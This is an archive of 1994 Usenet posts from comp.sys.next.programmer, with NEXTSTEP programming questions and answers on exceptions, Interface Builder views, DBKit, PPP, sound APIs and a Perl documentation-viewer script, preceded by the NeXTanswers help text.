NeXTanswers system: HELP returns this help file INDEX returns the list of all available files INDEX BY DATE returns the list of files, sorted newest to oldest SEARCH keywords lists all files that contain all the keywords you list (ignoring capitalization) For example, a message with the following Subject line requests three files: Subject: 2101 2234 1109 A message with this body requests the same three files be sent as ASCII text files: 2101 2234 1109 ascii This message requests two lists of files, one for each search: Subject: SEARCH Dell SCSI SEARCH NetInfo domain NeXTanswers will reply to the address in your From: line. To use a different address either set your Reply-To: line, or use the NeXTanswers command REPLY-TO <your-address> If you have any problem with the system or suggestions for improvement, please send mail to NeXTanswers-request@NeXT.com. USING NEXTANSWERS BY FAX To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and follow the instructions. You'll be asked for your fax number, a number to identify your fax (like your phone extension or office number), and the ID numbers of the files you want. You can also request a list of available files. When you finish entering the file numbers, end the call and the files will be faxed to you. If you have problems using this fax system, please call Technical Support at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada. USING NEXTANSWERS BY ANONYMOUS FTP To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM and read the help file pub/NeXTanswers/README. If you have problems using this, please send mail to NeXTanswers-request@NeXT.com. Written by: Eric P. Scott eps@toaster.SFSU.EDU and Scott Anguish sanguish@digifix.com Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
From: scott@nic.gac.edu (Scott Hess) Newsgroups: comp.sys.next.programmer Subject: How to intercept uncaught exceptions using Listener +run. Date: 6 Apr 94 13:19:17 Organization: Is a sign of weakness Distribution: world Message-ID: <SCOTT.94Apr6131917@nic.gac.edu> After quite some time of having users report console messages like: Apr 6 12:51:05 host app[2718]: Error raised in Listener run loop, continuing ... I've decided that I'd like to get some better output from the program. So, I looked into it and it appeared that I could use NXSetTopLevelErrorHandler() to change the backdrop function that catches exceptions and have it do something useful, such as print out the exception that was raised. That would naturally be much more help than the above-quoted message. Unfortunately, it appears that Listener's +run loop doesn't use the top level error handler. Instead, the loop appears to catch exceptions and drop them with the above message. Anyone know if there's a way to work around this? [More background, just in case ... I first tried putting the NXSetTopLevelErrorHandler() code in main(), and it didn't catch known exceptions. So, I put an NX_RAISE() immediately after it - and it caught that. OK, ok. So I figured that perhaps the Listener +run method was setting up its own handler. As a workaround, I registered a timed entry and set the new handler from within it. Still didn't catch it - but this time around it also didn't catch the NX_RAISE() immediately after, though I did get the "Error raised in Listener run loop" message.] Thanks, -- scott hess <scott@nic.gac.edu> <I can handle NeXTMail, but don't like it> Home: 12901 Upton Avenue South, #326 Burnsville, MN 55337 (612) 895-1208 Office: 101 W. Burnsville Pkwy, Suite 108F, Burnsville, MN 55337 890-1332 <I hate when something I've never heard of is called "The world famous ...">
From: armes@pioneer.tds.com (Jim Armes) Newsgroups: comp.sys.next.misc,comp.sys.next.programmer Subject: Re: RFC: How would you like to register NEXTSTEP? Date: 2 Apr 1994 03:42:43 GMT Organization: Trident Data Systems Message-ID: <2nipjj$bvm@discovery.ectds.com> References: <CnEHt9.B2n@news.cis.umn.edu> Keywords: upgrade register neat software stuff to do maybe I'll do it sometime In article <CnEHt9.B2n@news.cis.umn.edu> peter@corsica (Peter Eisch) writes: > > I may be in a position where I can make a difference... > > There was some talk a couple months ago about how folks would like to > register their NS software. Some ideas ... considered but time may constrain us from > responding to all ideas. > .... When I got an upgrade for PC-Tools for Windoze, as part of the upgrade/install it actually got my registration information and called an 800 number BBS central point had set up. VERY neat. It could be set up as a simple transfer app in Nextstep, with maybe a little cron jobby that asks for further comments after, say one week, and one month and sends the info down the wire. Next(or some enterprising group of software companies) could set up a centralized registration server hung off an 800 line, with credit card access & next day confirmation with the ordering person for ANY software product as long as it used this one pipeline application and (Gasp) distributed Object. my $3.14 (Inflation adjusted $) #--------------------------------------------------------# # Jim Armes | I've got a Pentium and you do not # # Matrix-Man | nahh nahh nah nah nahhhh... # # | # #Trident Data Systems| but IiiiiM a lumberjack and I'm ok# # armes@tds.com |I sleep all night & I work all day.#
From: armes@pioneer.tds.com (Jim Armes) Newsgroups: comp.sys.next.misc,comp.sys.next.programmer Subject: Re: RFC: How would you like to register NEXTSTEP? Date: 2 Apr 1994 03:43:30 GMT Organization: Trident Data Systems Message-ID: <2nipl2$bvn@discovery.ectds.com> References: <CnEHt9.B2n@news.cis.umn.edu> Keywords: upgrade register neat software stuff to do maybe I'll do it sometime In article <CnEHt9.B2n@news.cis.umn.edu> peter@corsica (Peter Eisch) writes: > > I may be in a position where I can make a difference... > > There was some talk a couple months ago about how folks would like to > register their NS software. Some ideas ... considered but time may constrain us from > responding to all ideas. > .... When I got an upgrade for PC-Tools for Windoze, as part of the upgrade/install it actually got my registration information and called an 800 number BBS central point had set up. VERY neat. It could be set up as a simple transfer app in Nextstep, with maybe a little cron jobby that asks for further comments after, say one week, and one month and sends the info down the wire. Next(or some enterprising group of software companies) could set up a centralized registration server hung off an 800 line, with credit card access & next day confirmation with the ordering person for ANY software product as long as it used this one pipeline application and (Gasp) distributed Object. my $3.14 (Inflation adjusted $) #--------------------------------------------------------# # Jim Armes | I've got a Pentium and you do not # # Matrix-Man | nahh nahh nah nah nahhhh... # # | # #Trident Data Systems| but IiiiiM a lumberjack and I'm ok# # armes@tds.com |I sleep all night & I work all day.#
From: armes@pioneer.tds.com (Jim Armes) Newsgroups: comp.sys.next.programmer Subject: Re: Quick Guide to NEXTSTEP information on the Internet Date: 2 Apr 1994 03:45:53 GMT Organization: Trident Data Systems Message-ID: <2nipph$bvt@discovery.ectds.com> Keywords: upgrade register neat software stuff to do maybe I'll do it sometime References: <2n5uav$9op@digifix.digifix.com> Reply-To: armes@tds.com In article <CnEHt9.B2n@news.cis.umn.edu> peter@corsica (Peter Eisch) writes: > > I may be in a position where I can make a difference... > > There was some talk a couple months ago about how folks would like to > register their NS software. Some ideas ... considered but time may constrain us from > responding to all ideas. > .... When I got an upgrade for PC-Tools for Windoze, as part of the upgrade/install it actually got my registration information and called an 800 number BBS central point had set up. VERY neat. It could be set up as a simple transfer app in Nextstep, with maybe a little cron jobby that asks for further comments after, say one week, and one month and sends the info down the wire. Next(or some enterprising group of software companies) could set up a centralized registration server hung off an 800 line, with credit card access & next day confirmation with the ordering person for ANY software product as long as it used this one pipeline application and (Gasp) distributed Object. my $3.14 (Inflation adjusted $) #--------------------------------------------------------# # Jim Armes | I've got a Pentium and you do not # # Matrix-Man | nahh nahh nah nah nahhhh... # # | # #Trident Data Systems| but IiiiiM a lumberjack and I'm ok# # armes@tds.com |I sleep all night & I work all day.#
Newsgroups: comp.sys.next.programmer From: bbernhar@silver.ucs.indiana.edu (benjamin bernhard) Subject: HELP! NXGetNamedObject("Custom_ShortDescription", self); Message-ID: <CnqMBB.7zM@usenet.ucs.indiana.edu> Sender: news@usenet.ucs.indiana.edu (USENET News System) Organization: Indiana University Date: Mon, 4 Apr 1994 13:47:35 GMT Hello all, Hopefully somebody knows the answer, I'm in a rush for an answer... I'm creating a window that dynamically changes its contents at run time. The window contains a box, and I copy views (created in IB) into the box. The views contain a set of text fields. I know their names, (and the names are properly set in IB) but want to get the ID's. Here is what I do: if ([NXApp loadNibSection:buffer owner:self]==Nil) NXRunAlertPanel("Alert", "didn't open UI", "OK", NULL, NULL); /* the un-archived nib sets my outlet delegate equal to its window */ aDelegateView=[delegate contentView]; [aDelegateView getFrame:&aDelegateRect]; [aBox getFrame:&aBoxRect]; [aBox setContentView:aDelegateView]; [aDelegateView setFrame:&aBoxRect]; /* need to resize window here */ NXNameObject("Custom", aDelegateView, self); [aBox display]; this works, I can use NXGetNamedObject on Custom and rotate it or whatever. Now, to get the id of "aTextField" (The actual names are kept in a database, related to this UI) I've tried: aField.theId=NXGetNamedObject("Custom_aTextField", self); and lots of other combinations, with no luck. Is anybody else doing this? Help is much appreciated. I can be reached by e-mail or at 812-339-5140 (If you are in Europe, please use e-mail :-) thanks, ben -- __________________________________________________________________________ Ben Bernhard "Nothing that results from human progress 812/339-5304 (fax) is achieved with unanimous consent." bbernhar@cs.indiana.edu ---Christopher Columbus
From: masa@fawlty9.eng.monash.edu.au (Mr M Takatsuka) Newsgroups: comp.sys.next.programmer Subject: Help!(N3DCamera):printing BackGroundColor. Date: 7 Apr 94 10:50:28 Organization: Dept. of Electrical & Computer Systems Engigeeirng, Monash University Distribution: world Message-ID: <MASA.94Apr7105028@fawlty9.eng.monash.edu.au> Hello, I'd like to print out my 3D picture with white background color. I set N3DCamera's background color as NX_COLORWHITE, and I can see that on the display but cannot print out white background. The background color is always black! I've just set [N3DCamera setBackgroundColor:NX_COLORWHITE]; Am I missing something? Thank you for your help Masa -- ============================================================================ Masahiro Takatsuka (MASA) e-mail: Masahiro.Takatsuka@eng.monash.edu.au(non-NeXTmail) ---------------------------------------------------------------------------- Intelligent Robotics Research Center :OzNeXT :xxxxxx Eng. Building 6, Room No. G04 :NeXus :92-00226 Department of Electrical & :CompuServe :71661,1331 Computer Systems Engineering :Nifty-serve :MGG1331 Monash University : Wellington Rd., Clayton : Victoria 3168, AUSTRALIA : ============================================================================
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer,comp.protocols.ppp Subject: Re: Word alignment in PPP-0.3 (was: Re: ppp on intel 3.2, i've given up waiting) Date: 4 Apr 1994 17:18:35 +0100 Organization: me organised, that's a joke. Message-ID: <2npekr$1tp@steffi.demon.co.uk> References: <2mvlj5$l7q@cheltenham.cs.arizona.edu> <2n9m8v$9k1@enst.enst.fr> Well here's my comments on this. They are not related to the byte allignment problems. Here's what I think is missing in ppp-0.3 1. I don't like the quick "dial" hack that it's then now. 2. It needs support for inactivity timeouts. 3. Logging/Status, check out the way pppd does this in MST. It's real cool. They use argv[0] to provide status information so a PS shows it up. Very informative format. 351 p3 S 0:00 pppd [dial failed (BUSY), du0] auto steffi:gate idle 60 deb MST ppp is an extremely polished product. 4. These are luxury items. 1. Packet Filtering, particular defining those which effect the inactivty counter. Would somebody tell me ppp-0.3 differs from ppp-0.2? What changes where necessary to get it compatible with NS3.0? I'll go look at ppp-0.2 later. Cheers. -- "C++ is the best C++ there is." (ASCII for text only messages)
From: starksm@genesis.mcs.com (Scott M. Stark) Newsgroups: comp.sys.next.programmer Subject: DBBinder and update Date: 7 Apr 1994 04:27:27 GMT Organization: MCSNet Services Distribution: world Message-ID: <2o023f$rmj@Mars.mcs.com> Keywords: DBKit, DBBinder, database I wanted to be able to sort a tableview's entries in response to a user's reordering of the columns without having to reload the table from the database and setting the sort order through addRetrieveOrder:for:. I did this using a class that uses a DBBinder object as the interface to the database and is the DBBinder's contents; it implements the DBContainers protocol. Now, loading of the table and resorting on the app side works fine. The problem I am having is that if the app updates an entry and then does a save to send the changes back to the database, the SQL UPDATE statement generated by sending an update message to the DBBinder instance lacks a WHERE clause to limit to the statment to the row the record object corresponds to. A possibly related anomaly in the properties for the database model being used is that the DBProperty that should be the key property returns -1 rather than YES or NO when it is sent an isKey message. Any ideas on how to get the DBBinder update to include a WHERE clause? Thanks, Scott -- Scott Stark Stark Internation Software 4950 N. Marine Dr. #102 Chicago, IL 60640 starksm@genesis.mcs.com (NeXT mail accepted)
From: smithw@hamblin.math.byu.edu (Dr. William V. Smith) Newsgroups: comp.sys.next.programmer Subject: Fax modem: AT&T DataPort 14.4/Fax Date: 6 Apr 94 23:00:53 Organization: Brigham Young University-Math. Dept Distribution: world Message-ID: <SMITHW.94Apr6230053@sofya.hamblin.math.byu.edu> I have an AT&T DataPort 14.4/Fax modem which I received gratis. It is attached to my black hardware at home. It works great with the communicae terminal software I bought ages ago. I'm running 3.0. When I try to use PrintManager to set up the modem as a Fax modem and then reboot, at the end of the reboot I get a complaint that the modem could not be set up. Is there something I need to do by hand to this modem, some register that must be set or something so that it will function as a fax modem? I have the correct cable for hardware flow control. I had one person tell me it was possible to use this modem as a fax modem in a somewhat limited way. True or NOT? HELP! Where's Eric when I need him? -Bill -- _ _|_______====___H____===_====_====_====_====_===____H___====_______ |_______| ]]]] \###########||###########/ [[[[ |" _______| [][] |____ """ UNION | | PACIFIC """ | |o ____| UP |__| \___________________|_ |____________________/\_________| |_| / |__74__| \_| | | | | | || | | | | | | | / \| | |_| |_|=|====|======|=o=|===\/=================================|=\/=|======|=o=|_| |_| [(o)=(o)=(o)=(o)]|_________________||________________[(o)=(o)=(o)=(o)] |_| |============================================================================== [] [] [] [] [] [] [] [] [] [] [] [] [] [] 5000 H.P. Track Straightener
Newsgroups: comp.sys.next.programmer From: rfi@jeans.fokus.gmd.de (Robert Fischer) Subject: Re: Add button to a matrix Message-ID: <1994Apr7.060916.16310@fokus.gmd.de> Sender: news@fokus.gmd.de (News system) Organization: GMD-Fokus References: <2nrres$8qt@vega.info.isbiel.ch> Date: Thu, 7 Apr 1994 06:09:16 GMT In article <2nrres$8qt@vega.info.isbiel.ch> biscm@info.isbiel.ch (Martin Bischoff) writes: > > Hello, > > I tried to add a button to a matrix with the following method: > > - append:sender > { > [matrix addRow]; +++++++ [matrix sizeToCells]; > [matrix display]; > [matrix scrollCellToVisible:[matrix cellCount]:0]; > > return self; > } > Alternately to may use 'sizeToFit'. Look into the documentation of Matrix class to see the differences. Robert. ------------------------------------------------------------------------ Robert Fischer @ GMD-Fokus -------- __o ------- _`\<,_ fischer@fokus.gmd.de ------- (*)/ (*) ## NeXT-Mail welcome ## ------------------------------------------------------------------------
Newsgroups: comp.sys.next.programmer From: alex@cs.umd.edu (Alex Blakemore) Subject: Simple PB Make question Message-ID: <CnvEuz.1ML@genoa.com> Sender: alex@genoa.com (Alex Blakemore) Organization: Genoa Software Systems Date: Thu, 7 Apr 1994 03:54:34 GMT Is there a predefined Make macro that gives the pathname of the root of the source tree for a project? SRCROOT is just defined as "." for most targets. If so, it would greatly simplify writing and maintaining Makefile.preambles for large projects with many levels of subprojects. -- Alex Blakemore alex@cs.umd.edu NeXT mail accepted
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: How to intercept uncaught exceptions using Listener +run. Date: 7 Apr 1994 06:37:38 GMT Organization: San Francisco State University Message-ID: <2o09nj$536@news.csus.edu> References: <SCOTT.94Apr6131917@nic.gac.edu> In article <SCOTT.94Apr6131917@nic.gac.edu> scott@nic.gac.edu (Scott Hess) writes: >Unfortunately, it appears that Listener's +run loop doesn't use >the top level error handler. Instead, the loop appears to catch >exceptions and drop them with the above message. "Close enough for government work" undocumentation: + run { NXEvent anEvent; for (;;) { NX_DURING (void)DPSGetEvent(DPS_ALLCONTEXTS, &anEvent, 0, NX_FOREVER, NX_BASETHRESHOLD); NX_HANDLER NXLogError("Error raised in Listener run loop, continuing ...\n"); NX_ENDHANDLER } } > Anyone know if >there's a way to work around this? Your Port/FD/TimedEntry callback procedures could establish their own handlers... -=EPS=- -- "Doctor, it hurts when I do this." "Don't do that."
From: ayardley@qns1.qns.com (A.C. Yardley) Newsgroups: comp.sys.next.programmer Subject: Re: abort() not working on NS3 68k Date: 5 Apr 1994 20:31:32 -0500 Organization: Questar Network Services Message-ID: <2nt3dk$oe9@qns1.qns.com> References: <RISINGER.94Apr4152930@netcom7.netcom.com> James A. Risinger (risinger@netcom7.netcom.com) wrote: : When I call abort() in a program, I don't get a core file -- I simply get : "IOT trap" and no core. Does anyone know what's up? : NS 3.0 on m68k : Thanks, : James : Yes, I do. But only because <leo@ine.philips.nl> was good enough to tell me. As incredible as it may seem (and personally I think it is very incredible), the problem is, most probably, your csh 'coredumpsize' resource. Try putting 'limit coredumpsize unlimited' in your csh. You can catch brief mention of this in the manpage for csh. Hope this helps. A.C.
From: ayardley@qns1.qns.com (A.C. Yardley) Newsgroups: comp.sys.next.programmer Subject: Re: Undump on the NeXT Date: 5 Apr 1994 20:43:28 -0500 Organization: Questar Network Services Message-ID: <2nt440$oj4@qns1.qns.com> Tech Support suggested I ask this question: Is there some impediment to the development of something similar to 'undump', which is on other UNIX based platforms, on the NeXT? Evidently, there is something about Mach which renders such a project unrealistic. If so, could someone tell me what it is? I have ftp'd the source for CONDOR and I'm currently pouring over the code. I'm also looking at the code of other platform undumps. And finally, is there a Mach-for-the-NeXT guru out there who is interested in such a project. If necessary, I'm willing to hire a consultant. Any help will be greatly appreciated. Thanks. A.C.
From: samurai@wsc.com (Darcy Brockbank) Newsgroups: comp.sys.next.programmer Subject: Re: nxman in perl Date: 5 Apr 1994 22:15:13 GMT Organization: WSC Investment Services, Inc. Disclaimer: The views represented within this posting are not necessarily those held by WSC Investment Services, Inc. Message-ID: <2nsnth$pk0@cerberus.wsc.com> References: <2nsns5$pjt@cerberus.wsc.com> This was rewritten by Michal Jaegermann. - darcy #!/usr/local/bin/perl #---------------------------------------------------------------------- # nxman... attempt to quickly dump the next documentation stuff # to a terminal #---------------------------------------------------------------------- # Author of a an original C-shell version: darcy brockbank (darcy@hasc.ca) # with additions from Drew Davidson (drew@fnbc.com) # This Perl program by Michal Jaegermann (michal@phys.ualberta.ca) #---------------------------------------------------------------------- # this is free software. No support, you can do what you want with it. # remember, credit where credit is due! # if you make it better, and more useful, let me know so I can # get a copy! #---------------------------------------------------------------------- require 'getopts.pl'; ($prog = $0) =~ s:.*/::; $use = qq!Usage: $prog [-n] [-l] [-p <pager>] [-c] [-s <search_dir>] [object_pat .] -n no filtering -l list names only -p use <pager> to display -c case sensitive -s search subdirectories of <search_dir> 'object_pat' is a pattern (can have wildcards) preceding '.rtf'. !; $caseopt = 'i'; $topdir = '/NextLibrary/Documentation/NextDev/GeneralRef'; $rtf_filt = '/usr/bin/rtf-ascii'; $opts = 'nlcp:s:'; die $use unless &Getopts($opts); $caseopt = '' if ($opt_c); $topdir = $opt_s if ($opt_s); die $use unless @ARGV; #set up pager to something reasonable $pager = $opt_p || $ENV{'MANPAGER'} || $ENV{'PAGER'}; if(!$pager) { $pager = `which less`; if ($pager =~ /no .* in/) { $pager = `which more`; } if ($pager =~ /no .* in/) { $pager = `which cat`; } } $here =`pwd`; @nlist=(); chdir $topdir || die "Can't cd to $topdir; $!"; while ($pattern = shift @ARGV) { $mexpr = '$match = ($_ =~ /'.$pattern.'\.rtf?/o'.$caseopt.')'; &add_names($topdir); } chdir $here; if($opt_l) { grep((s/^$topdir\///) && 0, @nlist); print $topdir, ":\n"; print join("\n", @nlist), "\n"; exit(0); } if (!defined($opt_n)) { format STDOUT = ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<~~ $_ $: = " \n"; # do not break on '-' while($file = shift @nlist) { open(INPUT, "$rtf_filt $file |") || die "Can't open $file for input; $!"; open(STDOUT, "| sed 's/-Z/- /g' | $pager") || die "Can't page into $pager; $!"; $/ = ''; # "paragraph" mode $* = 1; # patterns match accros \n's while (<INPUT>) { tr/\200-\377/ /s; s/-\s+/-Z/go; write; print "\n"; } close(STDOUT); close(INPUT); } } else { while($file = shift @nlist) { open(INPUT, $file) || die "Can't open $file for input; $!"; open(STDOUT, "| $pager") || die "Can't page into $pager; $!"; while (<INPUT>) { print; } close(STDOUT); close(INPUT); } } exit 0; sub add_names { local($path) = @_; local($match); opendir(DIR, '.') || die "Can't open $path; $!"; local(@filenames) = readdir(DIR); closedir(DIR); for (sort @filenames) { next if $_ eq '.'; next if $_ eq '..'; eval $mexpr; if (-d $_) { # subdirectory if ($match) { push(@nlist, $path.'/'.$_.'/TXT.rtf'); } else { chdir $_ || die "Can't cd to $_; $!"; &add_names($path.'/'.$_); chdir $path; } } elsif ($match) { push(@nlist, $path.'/'.$_); } } } # that's it
Newsgroups: comp.sys.next.programmer From: twasko@cuug.ab.ca (Tim Wasko) Subject: IB palettes containing TIFFs Sender: usenet@cuug.ab.ca Message-ID: <CnuEHK.GF6@cuug.ab.ca> Date: Wed, 6 Apr 1994 14:48:55 GMT Organization: Calgary UNIX User's Group Keywords: IB palette tiff I am writing a IB palette that includes TIFF images. I am able to load the images into an NXImage object but they do not get drawn (composited) into my (palette) view. Other drawing gets done (ie. NXRectfill, etc), but none of the compositing. Any ideas? Please reply to me directly. Thnaks, twasko@cuug.ab.ca
Newsgroups: comp.sys.next.programmer From: cedman@princeton.edu (Carl Edman) Subject: Re: Undump on the NeXT In-Reply-To: ayardley@qns1.qns.com's message of 5 Apr 1994 20:43:28 -0500 To: ayardley@qns1.qns.com (A.C. Yardley) Message-ID: <CEDMAN.94Apr5223847@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <2nt440$oj4@qns1.qns.com> Date: Wed, 6 Apr 1994 02:38:47 GMT In article <2nt440$oj4@qns1.qns.com> ayardley@qns1.qns.com (A.C. Yardley) writes: Tech Support suggested I ask this question: Is there some impediment to the development of something similar to 'undump', which is on other UNIX based platforms, on the NeXT? Evidently, there is something about Mach which renders such a project unrealistic. If so, could someone tell me what it is? I have ftp'd the source for CONDOR and I'm currently pouring over the code. I'm also looking at the code of other platform undumps. And finally, is there a Mach-for-the-NeXT guru out there who is interested in such a project. If necessary, I'm willing to hire a consultant. There is something close enough which is part of emacs 18/19 which allows the creation of dumped emacs binaries. Unfortunately that one was a terrible hack which doesn't work well at all with any but the most primitive executables (i.e. no objective C, no Appkit and many other restrictions). To make Emacs 19 for NS work, I had to write a new unexec which should work with virtually any executable. If you want the source, save your money and become a beta-tester or wait two or three more weeks for a public release. Carl "not a Mach or any other kind of guru" Edman
Newsgroups: comp.sys.next.programmer From: wiml@netcom.com (William Lewis) Subject: using NXFileContentsPboardType Message-ID: <wimlCntL05.I1G@netcom.com> Organization: NETCOM On-line Communication Services (408 241-9760 guest) Date: Wed, 6 Apr 1994 04:12:05 GMT I've been trying to use the NXFileContentsPboardType in an application, and have been having some trouble. Basically, I'd like to know if anyone out there has ever successfully read and/or written pasteboard data using this type. A pointer to some example code would be ideal. Here's the problem I've been having: -Pasteboard readFileContentsType:toFile: silently fails to create a file -Pasteboard readType:data:length: for an NXFileContentsPboardType returns a 0-byte buffer -Pasteboard writeFileContents: raises an exception 3007 (NX_pasteboardComm, a "communications prob with pbs server"). I would be very grateful to anyone who could offer any insight into what's going wrong here. Wim. -- ... William Lewis. ----- wiml@netcom.com ------ Seattle, WA, USA "The mind is not a vessel to be filled, but a fire to be kindled."
Newsgroups: comp.sys.next.programmer From: alex@cs.umd.edu (Alex Blakemore) Subject: Re: IB Custom Views NOT initialized in -appDidInit: !??? Message-ID: <CntGCC.IC@genoa.com> Sender: alex@genoa.com (Alex Blakemore) Organization: Genoa Software Systems References: <1994Apr04.204830.7402@cs.ucla.edu> Date: Wed, 6 Apr 1994 02:31:24 GMT Eskandar Ensafi writes > Controller has an instance variable > 'myView' connected to the MyView object inside the Box object. Within the > -appDidInit:, I tried to get to the Box by calling [myView superview], but it > did not work -- myView's superview was NOT a Box. read the documentation for the box class carefully. there is another view in the hierarchy. Box is a little more complicated (and useful) then you would expect, so its easy to skip over its documentation assuming it must be trivial (spoken from experience) -- Alex Blakemore alex@cs.umd.edu NeXT mail accepted
Newsgroups: comp.sys.next.programmer From: karl@trapac.com (Karl Kraft) Subject: Re: Changing the Database-Adaptor? Message-ID: <Cnt2AJ.2zE@trapac.com> Sender: karl@trapac.com (Karl Kraft) Organization: Trans Pacific Container Service Corporation References: <2nqe22$lmr@news.cs.tu-berlin.de> Date: Tue, 5 Apr 1994 21:27:54 GMT In article <2nqe22$lmr@news.cs.tu-berlin.de> lunde@cs.tu-berlin.de (Lars Grupe) writes: > If I had developed an application using a specific database adaptor, > how easy would it be to use the app with another adaptor? > All all adaptors the same or do the at least have to supply some > minimum functionality? > > To change from the oracle to sybase adaptor, I edited my dbmodela with Edit, and changed the adaptor and login lines from: Adaptor = OracleAdaptor; Login = "user/password@T:server:THEDATABASE"; to: Adaptor = SybaseAdaptor; Login = "user/password@SYBASE/THEDATABASE"; The program then used and connected to a sybase database instead of the oracle database. -- _______________ Karl Kraft I don't speak for trapac, they don't speak for me. Karl_Kraft@trapac.com -- _______________ Karl Kraft Karl_Kraft@ensuing.com
From: philipp@enst.fr (Philippe-Andre Prindeville) Newsgroups: comp.sys.next.programmer Subject: Making Sounds (from a CD Player) Date: 7 Apr 1994 17:32:49 +0200 Organization: Telecom Paris (ENST), France Distribution: world Message-ID: <2o1931$fvs@hydre.enst.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Summary: sound, CD-DA, api [ apologies for the erroneus cross-posting to comp.sys.next.software ... ] I'm working on a CD Player application that works with the Toshiba XM-3401 drive (which about half of the OEM market uses) and provides sound out via the Sound card, not the crappy little DAC on the drive... Being a relatively new NeXT programmer, I'm a bit dazzled by all the different interfaces to the Sound hardware: NXSoundDevice / NXSoundStream (NXPlayStream, NXRecordStream) objects Sound object snddriver_() C functions I'm a bit lost as to which interface best suits my needs. I need something that doesn't use a lot of CPU to process a constant 44.1K Hz stereo data stream, and I need low latency for doing things like suspending ("pause"), aborting ("stop"), etc. Lastly, one of these APIs, the NXSoundStream, seems to allow sharing of the sound out resource, so that the "bell" may continue to work while the application is running. This could be considered a win, I suppose. Anyone like to share their opinion with me on the choice of API? Thanks, -Philip P.S. Please reply directly unless you think this can interest the list in general...
From: schmo1@info.isbiel.ch (Olivier Schmid) Newsgroups: comp.sys.next.programmer Subject: Size of a view Date: 5 Apr 1994 08:41:54 GMT Organization: Biel School of Engineering, CH-2501 Biel, Switzerland Distribution: world Message-ID: <2nr88i$qjh@vega.info.isbiel.ch> I've got a question: How can I get the size of a view that was createt with InterfaceBuilder ? I've tried getBounds but this method returns always zeros for position and size. I also checked it with the GDB: the same result. Thanks for help Oli Please reply directly to me.
From: biscm@info.isbiel.ch (Martin Bischoff) Newsgroups: comp.sys.next.programmer Subject: Add button to a matrix Date: 5 Apr 1994 14:09:32 GMT Organization: Biel School of Engineering, CH-2501 Biel, Switzerland Distribution: world Message-ID: <2nrres$8qt@vega.info.isbiel.ch> Hello, I tried to add a button to a matrix with the following method: - append:sender { [matrix addRow]; [matrix display]; [matrix scrollCellToVisible:[matrix cellCount]:0]; return self; } The matrix is grouped in a scrollview. The new button is added correctly to the matrix if the scrollview is big enough to display it. If the scrollview is not big enough to display the whole matrix, then the scrollbars won't appear. Does anyone have an idea what I have to change to make the method work properly? Greetings, Martin.
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: DBTextFormatter question... Date: 6 Apr 1994 09:03:30 +0100 Organization: me organised, that's a joke. Message-ID: <2ntqci$3dr@steffi.demon.co.uk> I have a subclass of DBTextFormatter that when applied to a DBTableVector incorrectly draws it's text. Basically, the values are the social security number field from the Author table in pubs and when I hook up a regular DBTextFormatter by testing in IB. The characters appear to draw properly. But when I use my DBTextFormatter subclass on the same DBTableVector which uses a PSmoveto PSshow combination the '-'s appear too close to the numbers and whole thing looks squashed up. For the purpose of this excerise I cannot call super's drawFieldAt.... My question. What is it that the DBTextFormatter does when it renders it's text? I need to copy that machinery. -- "C++ is the best C++ there is." (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: gmd@hazel.north.de (Gerriet M. Denkmann) Subject: addSupplement:inPath: Message-ID: <Cnu1B9.Fu8@hazel.north.de> Sender: gerriet@hazel.north.de (Gerriet M. Denkmann) Organization: Great Mathematical Developments, Inc. Date: Wed, 6 Apr 1994 10:04:21 GMT I cannot make the addSupplement:inPath: method work. And also I do not fully understand the documentation. Any help, any working examples would be extremely welcome. The delegate of NXApp has the following method: - app:sender willShowHelpPanel:helpPanel { // bundleList is a List of NXBundles. const int nbrOfBundles = [ bundleList count ] ; const char *const currHelpDir = [ helpPanel helpDirectory ] ; int ii ; printf("Help panel %p at: \"%s\"\n", helpPanel, currHelpDir ); for( ii = 0; ii < nbrOfBundles; ii++ )//add help supplnts. for bundles { DoodleBundle *const currBundle = [ bundleList objectAt: ii ] ; char path[ MAXPATHLEN + 1 ] ; if ( [ currBundle getPath: path forResource: "Help" ofType: NULL ] ) { printf("Help in dir: \"%s\"\n", path ); // the directory in <path> does contain <TableOfContents.rtf> // all these methods return <helpPanel>, but none does anything printf("addSupplement %p\n", [ helpPanel addSupplement: "TableOfContents.rtf" inPath: path ] ) ; printf("addSupplement %p\n", [ helpPanel addSupplement: NULL inPath: path ] ) ; printf("addSupplement %p\n", [ helpPanel addSupplement: "" inPath: path ] ) ; printf("addSupplement %p\n", [ helpPanel addSupplement: "junk" inPath: path ] ) ; printf("addSupplement %p\n", [ helpPanel addSupplement: currHelpDir inPath: path ] ) ; strcat( path, "/TableOfContents.rtf"); printf("addSupplement %p\n", [ helpPanel addSupplement: currHelpDir inPath: path ] ) ; #ifdef THESE_METHODS_KILL_THE_APP [ helpPanel addSupplement: "cc" inPath: NULL ] ; [ helpPanel addSupplement: NULL inPath: NULL ] ; #endif } } return self ; }
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Making Sounds (from a CD Player) Date: 7 Apr 1994 19:06:17 +0100 Organization: me organised, that's a joke. Message-ID: <2o1i2p$to@steffi.demon.co.uk> References: <2o1931$fvs@hydre.enst.fr> philipp@enst.fr (Philippe-Andre Prindeville) wrote in comp.sys.next.programmer >[ apologies for the erroneus cross-posting to comp.sys.next.software ... ] > >I'm working on a CD Player application that works with the Toshiba XM-3401 >drive (which about half of the OEM market uses) and provides sound out >via the Sound card, not the crappy little DAC on the drive... Go and look at Carl Edmans Play3401 utlity, available on cs.orst.edu somewhere or another. If anybody gets it supporting a CD300 too then please send me a copy. -- "C++ is the best C++ there is." (ASCII for text only messages)
